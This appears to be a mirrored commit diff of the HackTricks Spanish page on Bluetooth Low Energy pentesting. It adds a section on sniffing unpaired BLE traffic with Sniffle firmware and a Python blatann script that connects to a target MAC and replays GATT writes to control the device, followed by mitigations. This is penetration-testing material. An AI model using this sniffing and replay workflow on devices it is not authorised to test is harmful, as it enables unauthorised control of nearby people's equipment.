mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
parent
d06df4db95
commit
0e1ffda421
@ -4,19 +4,19 @@
|
||||
|
||||
## Introducción
|
||||
|
||||
Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales, cubriendo el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional utiliza 79 canales en ese mismo rango.
|
||||
Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales, que abarcan el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional usa 79 canales en ese mismo rango.
|
||||
|
||||
Los dispositivos BLE se comunican enviando **paquetes de publicidad** (**beacons**), estos paquetes transmiten la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces **envían datos**, también.
|
||||
Los dispositivos BLE se comunican enviando **advertising packets** (**beacons**); estos paquetes anuncian la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces también **envían datos**.
|
||||
|
||||
El dispositivo que escucha, también llamado dispositivo central, puede responder a un paquete de publicidad con una **solicitud SCAN** enviada específicamente al dispositivo que publicita. La **respuesta** a ese escaneo utiliza la misma estructura que el paquete de **publicidad** con información adicional que no pudo caber en la solicitud de publicidad inicial, como el nombre completo del dispositivo.
|
||||
El dispositivo receptor, también llamado dispositivo central, puede responder a un advertising packet con una **SCAN request** enviada específicamente al dispositivo que anuncia. La **response** a ese scan usa la misma estructura que el **advertising** packet con información adicional que no pudo caber en la solicitud de advertising inicial, como el nombre completo del dispositivo.
|
||||
|
||||
.png>)
|
||||
|
||||
El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de acceso de cuatro bytes es un **identificador de conexión**, que se utiliza en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Unidad de Datos de Protocolo (**PDU**) contiene los **datos de publicidad**. Hay varios tipos de PDU; los más comúnmente utilizados son ADV_NONCONN_IND y ADV_IND. Los dispositivos utilizan el tipo de PDU **ADV_NONCONN_IND** si **no aceptan conexiones**, transmitiendo datos solo en el paquete de publicidad. Los dispositivos utilizan **ADV_IND** si **permiten conexiones** y **dejan de enviar publicidad** una vez que se ha **establecido** una **conexión**.
|
||||
El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de acceso de cuatro bytes es un **identificador de conexión**, que se usa en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Protocol Data Unit (**PDU**) contiene los **advertising data**. Existen varios tipos de PDU; los más utilizados son ADV_NONCONN_IND y ADV_IND. Los dispositivos usan el tipo de PDU **ADV_NONCONN_IND** si **no aceptan conexiones**, transmitiendo datos solo en el advertising packet. Los dispositivos usan **ADV_IND** si **permiten conexiones** y **dejan de enviar advertising** packets una vez que se ha **establecido** una **connection**.
|
||||
|
||||
### GATT
|
||||
|
||||
El **Perfil de Atributo Genérico** (GATT) define cómo el **dispositivo debe formatear y transferir datos**. Cuando estás analizando la superficie de ataque de un dispositivo BLE, a menudo concentrarás tu atención en el GATT (o GATTs), porque es cómo se **activa la funcionalidad del dispositivo** y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptores y servicios de un dispositivo en una tabla como valores de 16 o 32 bits. Una **característica** es un valor de **datos** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptores** que **proporcionan información adicional sobre ellas**. Las **características** a menudo están **agrupadas** en **servicios** si están relacionadas con la realización de una acción particular.
|
||||
El **Generic Attribute Profile** (GATT) define cómo el **dispositivo debe formatear y transferir datos**. Cuando analizas la superficie de ataque de un dispositivo BLE, a menudo centrarás tu atención en el GATT (o GATTs), porque es la forma en que se **activa la funcionalidad del dispositivo** y cómo los datos se almacenan, agrupan y modifican. El GATT lista las características, descriptors y services de un dispositivo en una tabla como valores de 16 o 32 bits. Una **characteristic** es un valor de **data** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptors** que **proporcionan información adicional sobre ellas**. Las **characteristics** suelen estar **agrupadas** en **services** si están relacionadas con realizar una acción particular.
|
||||
|
||||
## Enumeración
|
||||
```bash
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** permite **establecer** una **conexión** con otro dispositivo, listando las **características** de ese dispositivo y leyendo y escribiendo sus atributos.\
|
||||
GATTTool puede lanzar un shell interactivo con la opción `-I`:
|
||||
**GATTool** permite **establecer** una **conexión** con otro dispositivo, listar las **características** de ese dispositivo y leer y escribir sus atributos.\
|
||||
GATTTool puede lanzar una shell interactiva con la opción `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing y control activo de dispositivos BLE no emparejados
|
||||
|
||||
Muchos periféricos BLE de bajo costo no aplican pairing/bonding. Sin bonding, el Link Layer encryption nunca se activa, por lo que el tráfico ATT/GATT va en claro. Un sniffer off-path puede seguir la conexión, decodificar operaciones GATT para obtener los handles y valores de las características, y cualquier host cercano puede entonces conectarse y reproducir esas escrituras para controlar el dispositivo.
|
||||
|
||||
### Sniffing con Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) reflasheado con el firmware Sniffle de NCC Group.
|
||||
|
||||
Instalar Sniffle y su extcap de Wireshark en Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flashear Sonoff con el firmware Sniffle (asegúrate de que tu dispositivo serie coincida, p. ej. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Captura en Wireshark con el extcap Sniffle y pivot rápidamente a escrituras que cambian el estado filtrando:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Esto resalta los ATT Write Commands desde el cliente; el handle y el value a menudo se corresponden directamente con acciones del dispositivo (p. ej., write 0x01 a una buzzer/alert characteristic, 0x00 para detener).
|
||||
|
||||
Sniffle CLI ejemplos rápidos:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternativa sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin también funciona. En dongles Nordic pequeños/baratos normalmente sobrescribes el USB bootloader para cargar el sniffer firmware, así que o mantienes un dongle sniffer dedicado o necesitas un J-Link/JTAG para restaurar el bootloader más tarde.
|
||||
|
||||
### Control activo vía GATT
|
||||
|
||||
Una vez que hayas identificado un handle de característica escribible y el valor en el tráfico sniffed, conéctate como cualquier central y emite la misma escritura:
|
||||
|
||||
- Con Nordic nRF Connect for Desktop (BLE app):
|
||||
- Selecciona el dongle nRF52/nRF52840, escanea y conéctate al objetivo.
|
||||
- Navega la base de datos GATT, localiza la característica objetivo (a menudo tiene un nombre amigable, p. ej., Alert Level).
|
||||
- Realiza un Write con los bytes sniffed (p. ej., 01 para activar, 00 para detener).
|
||||
|
||||
- Automatiza en Windows con un dongle Nordic usando Python + blatann:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Notas operativas y mitigaciones
|
||||
|
||||
- Prefiere Sonoff+Sniffle en Linux para un cambio de canal robusto y seguimiento de conexiones. Mantén un Nordic sniffer de repuesto como respaldo.
|
||||
- Sin pairing/bonding, cualquier atacante cercano puede observar writes y reproducir/forjar los suyos hacia características escribibles no autenticadas.
|
||||
- Mitigaciones: exigir pairing/bonding y aplicar cifrado; configurar permisos de característica para requerir authenticated writes; minimizar características escribibles no autenticadas; validar GATT ACLs con Sniffle/nRF Connect.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user